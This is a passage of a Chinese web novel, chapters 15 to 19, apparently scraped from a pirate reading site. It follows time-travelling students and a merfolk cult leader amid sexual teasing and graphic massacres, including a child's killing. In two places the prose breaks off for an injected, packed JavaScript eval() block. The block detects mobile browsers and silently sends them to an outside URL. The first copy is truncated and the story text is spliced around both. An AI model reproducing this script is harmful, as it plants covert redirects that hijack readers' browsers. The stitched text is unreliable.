圣路啊～了一声。 推他一下，他就敢开始喘了！ “……”这种时候，就算是先天情绪冷淡，在日常生活中毫无情绪价值可提供，被人称作冷淡如白开水的沈继，也终于忍无可忍，爆发起来。 他一把掐住圣路的脖子，恶狠狠道：“掐死你算了。” 圣路扬起头颅，唇瓣微张着，他的神色极度地不对劲，尖尖的耳边一片暧昧红色，眼神失焦地望着他，朦胧的生理泪水映着一片迷离的眸光。 他的胸膛更加不可理喻地起伏着，声音粗喘着，肩膀颤动着，他的手覆上沈继的手，想要说话，声色间却有一种断断续续的迷茫沙哑。 他那一双银蓝的耳鳍若隐若现，细而柔软的鳞片在耳根后的肌肤下像湖底的水波粼粼。 沈继被这一幕震慑到了，他的手松开了。 他的心脏猛的一紧，是人鱼的信息素。 他的腰上缠着圣路的白色长发，像一条蛇的尾巴缠着他。 圣路猛然抱住他，闻着他腺体散发的气息，唇角抵着他的耳朵，沙哑的声音毫不客气得溜进他耳朵：“好乖啊～我的情热期都快被你勾起来了。” 这一刻，沈继感觉到自己体内什么东西在变化。 一只手伸进了他的衣角，沈继清醒过来按住了他的手。 等等，你能不能先克制一点啊！ 然而，凭空出现的两只地狱手抓住了他的手，将他的手强制伸到圣路面前。 “还在等什么？快干亖我。”圣路亲吻他的手指，双眼直盯着他。 15. 第十五章 “天啊，没人告诉我，回来还要写实验报告啊。” 一声哀嚎飘荡在学校上方。 雷伊趴在科技馆的悬浮球上，一脸生无可恋。 沙墨坐在旁边安安静静地整理数据，这个时候，劳埃斯还在打报告。 只有沈继在旁边睡觉。 “都回来两天了，沈继怎么还在睡？” 自从他们从歌雅回来后，沈继的嗜睡明显更加严重了。 沙墨有些担心地道：“我总感觉他有很多秘密，不得不留在歌雅的秘密。” 雷伊和劳埃斯沉默。 两天前…… 歌雅，森林城市，绿色宫殿。 “马上就到回去的时间了。”劳埃斯看了一眼光脑的时间。 几人沿着光脑的定位寻找沈继，一路上看到众人的脸色充满无措和迷乱，似乎一股威压压迫着气息。 有些人开始逃离这恐怖的威压。 雷伊几人迎着三三两两的人群逆行而上。 越是靠近，一股强悍的信息素就由若隐若现逐渐浓郁。 劳埃斯等人的心跳也越来越不受控制。 “这到底是怎么回事？” 他们循着定位走到一间房间门口。 “沈继就在里面。” 在碰到门的一瞬间，一股强大骇人的气息立刻传遍了他们每一个人的神经。 劳埃斯和雷伊瞳孔一颤。 “这是……omega？”劳埃斯不可置信。 为什么会是omega气息？ 劳埃斯和雷伊都是S级中上线的精神力，原本连布鲁顿的Enigma信息素都没能影响到他们，现在却被一股omega的信息素震慑到了。 一个omega的信息素，把森林宫殿内所有人都震慑了。 alpha无法自控的信息素泄露，整条走廊都是混杂的气息。 劳埃斯和雷伊也不由得浑身颤抖。 也就在这尴尬的时刻，穿越机器启动，把他们带了回来。 再次清醒的时候，沈继已经在身旁，机器把他们几人准确无误地带了回来。 “你们觉得，那股omega信息素，到底是谁的？”雷伊凑过去八卦道。 “你不会怀疑是……”劳埃斯皱眉。 “难道是沈继发出来的？”沙墨惊讶。 雷伊打了个响指表示正确：“当时，光脑的定位显示，沈继就在房间里啊。” “……” 雷伊和沙墨回头看向熟睡的沈继，见他皮肤细腻偏白，眼睫又长，手指修长。 “疯了吗？”劳埃斯闭眼。 “从沈继转学过来，只有资料上写他是alpha，但是，直到现在，你们谁闻到过沈继的信息素吗？而且，以沈继那种恐怖的精神力，他的信息素有这种威压，也就说得通了。”雷伊瞬间变身侦探。 沙墨为他默默鼓掌。 劳埃斯不想继续这个话题，闭眼：“先写报告吧，你们把在歌雅拍的照片发过来，我让光脑做一下排版。” 沙墨和雷伊打开光脑相册。 “等等，我的照片怎么全是空白？” “我的也是。” 劳埃斯听闻此话，也打开光脑相册，果然，所有关于这次歌雅实验的一切照片都变成空白。 几个人对视一眼，不由得背脊发凉，也许一种无形的力量设置了禁忌。 “算了，至少，布鲁顿的腺体我们已经拿给了导师，总不算空手而回。” 导师办公室。 “关于照片的事情，现在先放一放吧，有一件更重要的事。” 导师点开立体成像：“上次在歌雅被你们反杀的，是联邦第一军团中的四个高级军官，联邦这次可是亏了血本。” “您说这个，上次雷伊已经直播下来。证明了我们是正当防卫。”劳埃斯道。 导师看向沈继：“但是联邦那边的脸皮，你们又不是不知道，现在他们那边要求沈继前往星际法庭接受审判。” 雷伊直接爆了：“这凭什么！” “因为那把精神力手枪，联邦那边说来说去，就是指责沈继用精神力手枪射杀了没有器械的联邦公民，呵，他们狡辩说这是单方面屠杀，违反了人道主义。” “所以你们不会妥协了吧？！”雷伊更炸毛了。 “怎么可能妥协，联邦这招是以进为退呢，他们无非是想耍赖。” 沈继道：”所以他们最后想怎么样？” “他们要这份Enigma腺体的一半，我们还没有同意。”导师拿出用福尔马林泡着的腺体。 仅仅是威慑信息素就能碾压高级精神力者，这种比生化武器还可怕的东西谁不喜欢呢。 “布鲁顿的威慑信息素对我们都不起作用。”劳埃斯道。 导师严肃道：“怎么会不起作用，按理说，就算是没有精神力的Enigma对其他性别也是无限级碾压的。” “所以，会不会这幅腺体有什么问题？” “我问你们，当时，还有其他Enigma在场吗？” 雷伊道：“三王子的身边只有那个晕倒的管家，可那家伙应该不是Enigma啊。” “如果他的威慑信息素对你们不起作用，很可能是当时在场的人中，隐藏着一个更高等级的Enigma。所以才会产生这种现象。” “我还以为是我们足够强呢。”雷伊摸着下巴疑惑。 劳埃斯看了一眼默不作声的沈继。 雷伊和沙墨也面色复杂，想起之前讨论的话题，或许沈继确实不是alpha，也不是omega，而是…… 导师又说了几点注意事项，才放他们离开。 并且提醒他们，过几天还得再去一次歌雅，上次穿越错了时间，这次机器调正好，应该可以准确到达歌雅4212年。 学校还给他们额外奖励了一笔奖金。 出了办公室，几个人看着奖金，准备出去再狂嗨一顿。 穿梭机刚刚飞出柏堡大门，几艘隐形护卫舰就伴飞在身侧。 一路上，这几艘护卫舰紧追不舍地跟着他们。 劳埃斯又联系了导师。 导师一脸无奈：“你们难道没有一点自知之明吗？不知道现在自己是什么情况吗？” 几个人一脸懵：“？” “一开始歌雅穿越实验就是秘密进行，并不被普通民众所知的，上次雷伊误打误撞直播后，直接让你们火爆星际。” “我们火了？”雷伊立刻打开自己的账号，目瞪口呆：“十万，百万，千万……九十……九十多亿的粉丝！我有九十多亿的粉丝？” “哈，厉害了。”沙墨自己也有七十多亿粉丝。 导师道：“这两天你们之所以能这么平静地写报告，只是因为学校没有将消息放出去，现在你们一旦露面，很可能会引起骚·乱，护卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈继有种被迷昏了头的感觉，他开始回应圣路的亲吻。 圣路得意的病态的眼眸中含着满满的情·欲。 他肌肤下波光粼粼的鳞片也一直延伸到锁骨下。 沈继伸手触碰那些鳞片，一切依然如肌肤的质感，平滑柔韧，甚至能感受到流动的血脉般。 沈继几乎迷恋上那种质感了。 “我喜欢……这边也要……摸……”他迷茫地喘息着，贴近他，好让自己的身体凑近他的手心。 沈继听从他的话，手心贴抚过他的另一边的锁骨和肩膀，炽热的滚烫气息在彼此之间温存。 “在我的腺体上咬一口吧，宝贝……”圣路又引诱他。 沈继的手顿了一下。 “……我要你的信息素，我要Enigma的信息素。”圣路咬住他的耳朵。 沈继皱眉，他泄露了信息素吗？一直以来，隐藏信息素是他的强项，他从没有在别人面前泄露过身为Enigma的信息素。 看见他停下来，圣路的脸也一下变了，他紧紧抱住他，脸上带着一丝惊慌。 这之后，他就被动回到现在了。 16. 第十六章 所以最后，“出去嗨吃一顿”的计划也泡汤了。 几个人老老实实回到学校餐厅里订了一桌“宇宙级帝王套餐”，报复性消费。 “沈继，我感觉你有点麻烦了。” 雷伊打开新闻板块，里面关于上次歌雅冲突直播事件，热度一直居高不下，联邦不断谴责帝国精神力高手用精神力手枪杀了他们的公民。 帝国政府对于此事的态度则很明确，他们是出于正当防卫，没有理由遭受谴责。 光脑的播放成像中，数不清的飞舰化作星点从茫茫星海中一闪而过，它们正向帝国边缘而来。 “联邦的永生号和庞大的宇宙舰艇编队，进军直逼我帝国的星门，我军已增派舰队前往星门，战争随时开启，如果发生冲突，联邦与帝国维持多年的平静将被打破。” 劳埃斯道：“要么是交出我们，要么是交出Enigma的腺体，否则战争是迟早的。” 总之，联邦是不可能让帝国独占Enigma腺体的。 雷伊抬起两只手，耸耸肩：“那联邦的算盘要打错了，我们的国王可不怕战争。” 沙墨全程吃饭，专心致志。 而事件中心的沈继，只是摸了摸自己颈后的腺体。 如今的星际世界，Enigma这个性别已经消失了上万年。 联邦和帝国都想要研究复制出Enigma的威慑信息素，成为战争中的化学杀器。 而沈继从十岁分化为Enigma后，父亲就警告他，一定要藏好自己的身份，不能泄露出一丝关于Enigma的信息素。 在体检时，医生也根本分不清楚alpha和Enigma腺体上的细微差别。他已经成功伪装alpha多年了。 希望这次从歌雅带来的腺体，能让政府复刻出Enigma这个性别，到时候，让Enigma不再成为权利争夺的实验对象。 这几天，沈继除了睡觉，就是查阅关于圣路的各种信息。 之前他虽然一直在关注圣路的一切，但因为是末世前的人物，考古家们也语焉不详，很难有更深层次的了解。 劳埃斯提醒他：“我记得圣路的粉丝们在星际论坛上创建了一个叫‘神圣之路’的粉丝圈，你可以去那里试一试。” “不过你得开通论坛账号哦！”雷伊贱兮兮道。 沈继直接开通了账号，匿名登录了“神圣之路”。 【请回答，您登录神圣之路的目的。】 A：啊啊啊啊啊，我太爱圣路了！ B：写考古论文需要资料罢了，呵呵。 C：随便选吧，无所谓好奇而已。 D：啊啊啊啊啊啊啊，我太太太爱圣路了！ E：其他。 沈继选了E，一个板砖拍下来，画面闪退。 雷伊哈哈笑起来：“沈继你是不是现代人。” 沈继重新登录上去，这次他选了A。 【请对着摄像方框内，真诚表达，我xx太爱圣路了。】 沈继嘴角一抽，这是什么抽象派？ 在此之前，他还特地确认了一下，自己身体内圣路的意识有没有苏醒。 他的精神海里一片宁静，圣路的意识就隐匿在他的深海中。 从他五岁后，圣路就很少清醒了，似乎上次在穿越前，他还出现在梦里调戏了一下自己。 沈继忍着羞耻，额冒青筋，对着摄像头说道：“……我沈继……太爱圣路了。” 眼神无语，声音也拖拖拉拉的，完全像被绑架着的犯人。 忽然，脑海中突兀地传来一声轻笑，这笑声颇为病态，完全就是圣路的风格。 沈继一顿：“你什么时候醒的？” “你刚刚那么饥渴地找我，我当然迫不及待要醒来了。”感觉那华丽的声音就在耳边，含着滚烫的暧昧。 沈继：“呵呵……”到底谁饥渴了？ “我好想你，乖宝贝。”圣路低沉的语气，就像他小时候一样。 “神经，我已经不是五岁小孩了。”沈继冷道。 这种和脑袋隔空对话的感觉有种神经质的美感。 “啊，那得给我证明看看是不是长大了。”他又变态地笑，声线黏糊糊的。 沈继皱眉，忍住翻白眼的冲动：“别再用这套了。” 圣路笑道：“啊……是不能用这套了，得要用我的大屁股狠狠撞小沈继的那套了。” 沈继抬手捂住自己的额头。 死变态，他真的是个omega吗？ “你回去吧，回去好吗？” 他听到圣路一阵低低的笑声逐渐隐于脑海中。 之后精神海里又恢复一片寂静。 这么听话就回去了？沈继有点惊讶。 此时《神圣之路》已经登录成功，随后就是被铺天盖地的花瓣和海浪包围。 沈继点开。 【恭喜您进入神圣之路，请问您的性别。】 沈继选了alpha。 【请您实名登录论坛。】 沈继啧了一声，实名登录后。 眼前渐渐浮现出圣路的立体成像，看来是因为上次雷伊的直播中出现了圣路的画面，现在的成像比起之前在科技馆的成像，几乎一比一接近真实的圣路。 《神圣之路》的主页面下，是圣路的个人简介。 圣路，史前歌雅人，拥有人鱼血脉，具体年龄无法推测，在人类社会中曾有多种身份。 歌雅专家认为圣路母亲是人鱼后代，其父亲是歌雅人类的小镇医生，而圣路很可能拥有返祖血脉，也就是至纯人鱼血脉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401175|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌雅人类中的权贵忠爱人鱼腺体，巨神教曾宣扬人鱼是畸形物种，是被天神降下惩罚所不容之物种。 巨神教的信徒大肆捕杀人鱼，挖取腺体供贵族享受，他们饲养人鱼，以各种办法做人鱼实验…… 圣路的至纯血脉是天神的惩罚，他的外貌极其容易引起人们对人鱼的联想。 在前期，圣路的思想停留在善意的逃避和隐藏身份。 歌雅的考古中发现有一段时间，圣路以人类身份继承父亲的职业，在村庄中成为诊所医生，十分慷慨收留那些被弃养或被拒养的婴儿。 在这期间，有人认为圣路收留婴儿是用于贩卖牟取暴利。 圣路因此被关押在沼泽监狱，关押时间不详。 之后陨石逐渐降落，世界陷入恐慌，社会秩序混乱，人类精神癫狂。 中间的时间断层，考古发现后来的圣路已经成为沙星组织领袖，人称大恶魔圣路。 之后沙星组织开启了屠戮模式，村庄被屠杀，巨神教完全覆灭，许多贵族王公和政府也被沙星组织杀害。 最后，末世真正降临，歌雅人类逃离母星，乘坐宇宙飞船开辟新生路。 有考古专家推测，圣路是歌雅人类留在母星的火种之一，也有人认为，末世之前，圣路就已经以人鱼形态逃进深海，除此之外，还有各种说法，但至今没有得到证实。 介绍到此结束。 以上这些事件，沈继基本都知道了，但关于末世，圣路逃进深海的说法，沈继倒还没听过。 他又点进一个虚拟男友方块，充值了五百星币，成功开启。 【请选择】 A：人鱼形态 B：人类形态 沈继点了B。 但见眼前一片蓝色荧光铺散开，冰凉的海水灌进他小腿边，房间的一切化作眼前的浅海沙滩。 动听的海浪声传来，一条华丽深蓝的鱼尾从波涛的海浪中一闪而过。 沈继走进海水中，波光潋滟下一条漂亮的人鱼游动在他身边。 白发红眸，尖尖的耳朵，肌肤白皙似雪，银蓝的耳鳍泛着水波的光泽，肩颈的肌肤下是细软的鳞片形态。 沈继伸手摸了摸他的脸，感到一种落差，虽然外表几乎相似，但毕竟是虚拟成像，手感无法和真人相比。 人鱼抓着他的手，脸庞亲昵地抚过他的手背：“你来找我了……我一直在等你。” 啊，这样就完全脱离人设了啊。 如果是圣路本人在这，在自己摸他脸的时候，他至少得露出他变态的笑容。 口里还会说着：“啊……太烫了……不要……”然而却抓着他的手紧紧不放。 同时眼里泛光，浑身表现出颤抖无力的状态。 沈继再一次捂住自己的额头。 17、第十七章 临出发前，导师为他们重新配备了升级版的光脑。 “必要的时候，我们会带你们回来。” “这次的任务是什么？”劳埃斯道。 “你们上次得到的enigma腺体，几乎没有精神力，希望你们可以拿到新的enigma基因，不一定要腺体，就是一根毛发也行，但是最好要是精神力者。” 劳埃斯道：“我们不确定能抵抗enigma精神力高手的威慑信息素。 上次无视了布鲁顿的威慑信息素只是侥幸罢了。 导师拿出三张细细的薄膜：“这个是我们最新研究的信息素缓冲贴，贴在腺体上，可以有效阻隔其他信息素的影响，但是里面的能量稀释后，就会失去作用。” 因为沙墨是beta，所以他不用贴。 其余几人贴上缓冲贴。 “和上次一样，了解歌雅人的末世生存对策，得到enigma基因，削弱联邦的实力，保护自己，就这四点。” 联邦的护卫舰也几乎跟他们同时到达现场。 从上面下来的四个人，和他们年龄差不多，想来这次是真的学生了。 “看来联邦那边s级精神力确实挺多的啊，像下饺子一样，上赶着来送死呢。”雷伊调侃道。 对方几双眼睛瞪过来，有人道：“别太得意，你们不过是靠着一把精神力手枪。” 雷伊耸了耸肩，歪头：“有本事，某些人也去歌雅那边抢一把啊……又没不让你抢。” 联邦几个年轻气盛的学生当场就要和雷伊干架了。 对方导师呵斥如雷：“滚回去！” 对面几人吓得一震，连忙退了回去。 ———— 歌雅。 一片旷野丛林，无数飞鸟惊慌而过。 “等等，我们是不是又穿错了？”雷伊吐掉口中的一把叶子。 “现在是……”沙墨抬起光脑。 “4218年！” “上次我们穿的是4222年，也就是说，我们回到了四年前。” “等等！沈继呢？！”突然，雷伊喊起来。 劳埃斯连忙打开光脑定位。 显示沈继与他们的距离…… “两万公里！” 另一端。 沈继看着眼前茂密的森林，寒冷的天气，默默地点开光脑。 根据定位，他所在的是歌雅文明中最大的一片森林地区，这里位于d国，常年人迹罕至，只有一些原始村民会住在这里。 他在这片无人问津的森林中徒步，沿着光脑指引的定位，在大约一百公里后，终于找到了一家小酒馆。 当他推开虚掩着的玻璃门，走进这座陈旧的酒馆，天已经黑了，屋子一片阴暗，他顺手打开了灯。 发现这里大概已经有两天没营业了。 桌上的面包开始发霉了，果酒洒在桌上留下污渍，地上还躺着两具冰冷的死人，吧台后面，沙发上，冰箱边上都有尸体。 沈继转身打开还在运行的冰箱，给自己找了一瓶类似果汁的饮料。 冰箱门自动关上时，发出咿呀的声音。 之后世界静悄悄的，只有沈继喝饮料时发出的吞咽声。 他把玻璃瓶丢进墙壁上的垃圾槽，坐在卡座沙发上，因为他坐下来时沙发的凹陷，旁边一具中年大叔差点倒在他肩膀上。 沈继及时伸手把大叔推了回去。 因为天气寒冷，屋子里的尸体还没有异味。 歌雅的警务系统这么差劲吗？没人来现场收尸。 窗外的天越来越黑，风声呼号，刮得铃铛上的人鱼尾巴饰品四处翻腾。 沈继看着那条银蓝色的人鱼尾巴，虽然小，但像是真的。 就算在未来星际时代，人鱼的存在也十分稀缺，这么一间小酒馆居然用人鱼的尾巴当做铃铛挂饰。 人鱼……圣路…… 他已经走了太久，嗜睡症又发作了，到了该死的睡眠时间了。 就在这茫茫无边的大森林中，他要去哪找圣路呢？ 这么想着，沈继合上了眼皮。 一直睡到第二天中午，外面的太阳略微带来了一点温暖。 沈继睡得不是很舒服，他在桌上拿到了一张报纸。 【沙星组织领袖圣路预言，凯雅特森林中十七个村落将覆灭，d国政府请求国联部支援，疏散附近民众及时转移安全地带】 看日期，这已经是一个星期前的报纸了。 据《神圣之路》上所说，圣路有一段时间，确实大肆屠杀了平民村落，男女老少，没有留下活口。 恶魔的称呼也由此而来。 报纸下面还附赠一张地图，凯雅特森林中村落的分布位置都有标注出来，都在靠近海的地方。 沈继所在的这间酒馆位于边缘村庄的外围。 也许圣路就在这。 沈继走出酒馆，望着头顶深绿色的天空，还有更大的村庄在森林深处…… 在翻越一片矮山后，树林中终于有悬浮的轨道和楼幢显露了出来。 林木之中弯曲环绕的悬浮轨道，依山建造的绿色建筑，飞越高空的悬轨公交还在运行。 看来，在歌雅文明中，这也是十分富裕的村落了，甚至可以说是小城了。 现在这片富裕的小城却显得十分安静，沈继随手在公交台上按下按钮，一辆悬浮公交停落在他面前，门打开的时候，血液滴滴答答地流下来。 车内只有死人，全部被抽掉血液干枯死掉了，公交车上都是粘稠的血糊。 这种死法，沈继上次在左右城看过，沙星组织中有一个精神力高手，具有这种诡异的能力。 不用看其他地方，这已经是一座死城了。 这么说，圣路也肯定就在这附近了。 沈继沿着报纸上的地图，继续前往第二个村庄。 一路走过，所有原本有人烟的地方全都惨遭屠戮，他们刚死没多久，有的人甚至还在抽动着身躯挣扎。 就算是没什么情绪的沈继，如今站在这片绿色与血色交织的世界中，也皱紧了眉头。 在那里，他又看见人鱼尾巴制成的挂饰，一连串的尾巴，他数不清有多少尾巴，像串起的风筝一样，像天上的彩带一样，像天空的轨道一样，一直延伸到远处，直到看不清。 原本是属于深海美丽的尾巴，如今被挂在天上飞扬。 一路上走来，沈继感知得到，这场杀戮已经由复仇变成纯粹血腥的嗜杀。 一开始是用异能一瞬间夺取生命，后来，是用利刃，刀锤，像剖鱼一样…… 他们像黑色的鬼魅，游走在树林和人类之间，穿着华丽的男人女人，靠人鱼油饲养的白白胖胖的孩子，全部被屠杀殆尽。 他沿着地图，找到最后一个村落，在那里，一只手从葱郁的林中伸出来。 “救命！救我……” 沈继走过去，看见一个男孩浑身剧烈颤抖，脸色惊恐万分，眼神空洞地拉着他的衣角。 “爸爸妈妈死了！哥哥救救我吧。爸爸妈妈都被恶魔杀死了！” 沈继看见他身上没有伤口，应该是躲在树林里才躲过了一劫。 小男孩拉住他：“求求你，救救我吧，我会给你很多钱的！” 沈继蹲在他面前：“你得告诉我，是谁要杀你。” “是大恶魔！是……圣路！是被神唾弃的人鱼族，他就是人鱼中最大的恶魔！他们没有人性，杀了我的爸爸妈妈！杀了所有人！” 沈继看见他脖子上戴着一个漂亮的瓶子吊坠，瓶中类似腺体的东西。 一个孩子居然把一副腺体挂在脖子上，这是孩子吗？ “这是什么？”沈继问他。 那小男孩猛然把瓶子抓在手心，惊慌地往后退：“这不能给你，这是我爸爸妈妈留给我的。” 沈继看了他一眼，转身走了。 跟在后面的小男孩抖如筛糠，脸色发白：“求求你，带我出去吧。” “你自己去报警。” “他们用异能屏蔽了这里的信号，我们的信息传不出去，只要进入大森林就会迷路，外来的支援没有办法找到我们，而且他是恶魔啊，他们连政府的人都杀。” 沈继没有一丝同情，这是圣路和人类的恩怨，是人鱼和人类的仇恨。 “那么，你凭什么认为我可以带你出去。” “你是异能者，你肯定可以带我出去。” 沈继没再理他，他释放出精神力感知，沙星成员就在前面。 在雷电闪过的黑夜，他爬上高处，看到了沙星成员黑暗的身影，和血色弥漫的城镇。 在闪电劈向大地的瞬间，看见圣路冰冷的侧脸，他垂眸看着地上匍匐的人类，骇人心魄的雷电比不上他眼神中的三分狠厉。 和四年后的圣路相比，似乎也不在同一个状态。 沈继躲在草丛后面。 就现在圣路和沙星成员杀疯了的状态，他上去估计也只是多送一个人头。 那男孩独自躲在另一边草丛中，眼睁睁看着这一切。 他看着沈继那副事不关己的模样，突然愤怒道：“你为什么不去杀了他们？你不是有精神力异能吗？” 沈继仰起头，看着森林上的夜空：“我跟他们没有仇，谁跟他们有仇，谁就去杀。” “可是……我只是个孩子！你不是应该保护我吗？” 他的声音引起了沙星成员的注意，一道佝偻着的身影飞快地向男孩冲去。 “这里有个漏掉的小的。” 男孩连忙扑向沈继：“哥哥，救救我！” 沈继伸手拦下他飞扑来的身子：“别乱认亲，你现在是孤儿……” 他立刻感到背上两道锐利的目光。 圣路看过来了。 驼子道：”看来是漏掉的两个。” “等等，他才是本土的，我只是路过的。”沈继撇清关系。 一只白皙偏大的手掌抓住了他的手腕。 “！”沈继下意识地攻击，精神力从体内锐起，扎穿了那只手。 “你回来了……”一张兴奋的脸出现在他眼前，与刚才狠厉麻木的圣路截然不同。 沈继听了这话，他怎么到哪都跟个自来熟一样。 圣路来不及分神看一眼自己受伤的手，他的手流着血，依然沿着沈继续小臂往上，丝毫不惧怕其精神力带来的压力。 “亲爱的……你也在找我对吗？”他的身上还带着一丝血腥味，石榴红的眸珠中仍有着疯狂杀戮后的麻木，又夹杂着惊喜的狂躁。 仿佛越受伤，他越兴奋。 沈继觉得，下一刻圣路将自己真正的生吞也丝毫不奇怪。 他凝聚起精神丝线，只要再上前一寸，圣路的心脏就会被切割成无数小块。 “是的，我一直在找你。” 这句话让圣路突然流下了泪水，他的脸庞两侧甚至被晶莹的泪水浇湿。 仿佛什么东西从他的心脏涌溢出来。 第一次在他身上看到了正常人该有的一面情绪：喜极而泣。 但是…… “你误会了，我的意思是，我找你是想杀了你。”沈继觉得自己得解释清楚。 圣路的瞳孔一怔，上一秒还在泪流满面，下一秒就露出了病态的笑容：“哦？亲爱的，这是新游戏吗？” “不是，是真的，我得杀了你。” 糟了，他又开始战栗起来了。【你现在阅读的是魔蝎小说 moxiexs】 18、第十八章 “你跟他们是一伙的！我要杀了你。”忽然，那男孩凶狠着猛的扑上来冲向沈继。 沈继直接一手挡住他的身体：“有病，你仇人在旁边，你杀我？” 驼子一手抓起那男孩的后领，把他挂在半空。 圣路看到了他脖子上的吊坠。 他伸手扯下那瓶子，里面晃荡着一点福尔马林，泡着一副幼年人鱼的腺体，隔着玻璃瓶，在他白皙的手心里随着罪恶的液体晃动。 沈继想象得到那是怎样的场景，一条幼年人鱼，被捕获后，人类挖出了那副未发育完成的腺体以换取财富。 现在人鱼濒临灭绝，人鱼腺体的价格一定被炒到天价，这个男孩把这当成至宝挂在身上，很可能是他的父母授意他的，甚至要把这东西当成传家宝吧。 “混蛋，还给我！这是我爸妈留给我的遗物！你个畜生！强盗！” “一个人类孩子，挂着一副幼年人鱼的腺体，说是人类的遗物……”圣路眼神嘲讽，声音中带着凄寒的冷意。 小男孩惊恐得发抖：“巨神说了！你们是余孽，是被神唾弃的怪物，是带来末世惩罚的罪孽，教皇说你们都该死……人鱼的腺体本来就是用来服侍我们人类的……” 一根精神丝线穿过他的心脏。 是沈继的精神丝线。 小男孩睁大了瞳孔，惊愕兼且颤抖不甘地看着沈继：“是你……你也是坏人……” 他突然又开始服软：“不要，不要杀我……我家里还有很多的人鱼腺体……我都给你们。” 一条黑色的怪兽鱼从半空中俯冲下来，吞掉了他整个身子。 沈继心中一惊，那是圣路的精神力幻化成的。 他的精神力能化作完全自主的实体，就算是在歌雅末世，异能者横生的时代，也十分恐怖。 看来这次穿越的时机完全不对，他还是先离开为好。 “亲爱的，去那儿？” 圣路的手从刚才开始就一直抓着他的手腕。 “等等，你先别碰我。”他一碰他，事情就会以意想不到的方向发展。 圣路的眼中闪过趣味的病态，笑得很是温柔：“为什么啊？你刚刚才帮我出气呢。” 尽管他的身体战栗起来，那只受伤的手却还固执地抓着沈继的小臂一寸寸上移。 他手心的血都沾染在自己袖子上。 “我就知道，你说杀我，是在跟我玩游戏呢……”圣路的声音在颤抖，却没有继续说下去。 “没有……都说要杀你了。”沈继很想把他摇清醒点。 圣路缓缓靠近他。 只要再前进一分，他必死无疑了。 以圣路的实力，他不可能感受不到自己的精神丝线，也不可能感受不到其中的杀意。 但他又真奇怪，难道宁愿被精神丝线切断，也要抓着自己吗？ 难道他曾经也对人鱼做过什么伤天害理的事吗？ 不，他身上没有任何人鱼器官或者什么部件。他也没有那种癖好。 以前没有，以后也不会。 沈继看着他苍白如瓷的手，被血一点点染红，像白鸽的血染红雪地。 “死疯子。”沈继冷道。 “什么？”圣路一怔。 “死疯子。”沈继特地咬紧了声线。 哼哼，看他那不可置信的模样。 看来终于切到他的一个痛点了，就算是圣路，被人喊死疯子也会受不了吧。 “宝贝，再喊一声。” “……”沈继开始觉得不对劲了。 不，等等。 圣路猛的扑向他。 像被什么东西附身了一样，在那一刻，沈继也鬼使神差地收回了自己的精神丝线。 “你又犯病了是吧。” 圣路笑起来，居然笑得有点甜？ 不，一定是太久没睡，看错了。 圣路的手紧紧攥着自己的手臂，用脸庞贴近他的脸，闭上眼，声线悠长，带着笑意：“对……我是死疯子……你肯定最爱干疯子吧。” “……”沈继很想拍一巴掌在自己的脑门上。 他才是那个疯子，刚刚圣路扑过来的一霎那，只要自己不收起精神丝线，圣路就已经死了。 他感觉到圣路脸上略显冰冷的温度，在他肩颈摩挲而渐渐产生温暖。 四周的树木覆盖了星空，沙星成员们不知何时已离开。 夜色寂静极了。 “我真的很喜欢你啊……”他亲昵地说。 长长的白发不知何时已盘上沈继的腰间，像蛇一样。 “在这之前，我们认识？” 圣路抬起手，血液从掌心顺着手腕下滑，随后他撇开自己的头发，在沈继面前露出颈后的腺体。 “这可是你咬的啊。”他委屈地说着，呼吸都落在他耳边。 沈继惊讶地凝眸一看，在他掀开发丝的地方，在那微微凸起的腺体上，薄薄的皮肤掩盖的苍白下，在那散发着人鱼独特信息素的器官中，来来去去看了又看。 “什么都没有好吗？” 没有咬痕，更没有标记！ “完全是个有着幻想症的疯子。”他甚至把心里话说出来了。 “因为，我的自愈力……看来你又忘了，真是让人伤心……” 圣路闭上眼，咬了他耳朵一口。 沈继想撇开他，因为两人几乎紧紧贴着，圣路的精神力又压制着他，想用精神力攻击他也根本不起作用。 圣路还是舍不得咬出血，只用牙齿轻磨，用舌尖轻轻舔舐他的耳垂。 简直跟调情一样，变态。 沈继伸手想把他推开。 但因为头发紧紧缠在他腰上，双手紧紧箍在他背上，两个人精神力都贴在一起，左右实在施展不开。 他越用力推他，圣路白皙的脸就越加泛红，眼里显出迷离的光，呼吸涩然轻喘：“……好用力啊……好喜欢，亲爱的……” “……”沈继神色一顿，忍了又忍，牙齿咬了又咬，变态两个字到嘴还是没说出来，他怕说出来，圣路当场就得爽死。 圣路的手穿过他肋下，抓过他肩膀，仿佛余韵未消，鼻息暧昧地落在他脸庞：“继续动啊……亲爱的。” “死疯子……”沈继现在是不敢动了。 圣路焦急道：“对……我知道亲爱的最喜欢疯子了……快用宝贝整治一下我这个疯子。” 沈继脑子是转了又转，始终不敢戳破那“宝贝”是什么含义。 “没错，我说的就是吊。” “……”他果然还是低估了圣路的变态程度。【你现在阅读的是魔蝎小说 moxiexs】 19、第十九章 “你现在是在性·骚·扰，你知道吗？” “哦？什么意思？” 沈继想起来了，歌雅没有这个词，圣路不明白。 “像你现在可耻的行为和语言就是性·骚·扰，疯子。”沈继抬起手肘抵戳他的肩膀。 圣路身子被他戳得一动一动的，暗爽死了。 说是暗爽，眼神已经藏不住地激情澎湃了。 沈继后知后觉地反应过来，变态已经开始起反应了，默默收回手。 他到底在做什么，难道在跟一个变态讲道理吗？ 圣路的指尖落在他后颈上，冰冷的触觉在腺体周围引起一阵不适。 omega的信息素已经弥漫在林间。那种致命的气息，宛如深沉的毒药，让人难以抗拒。 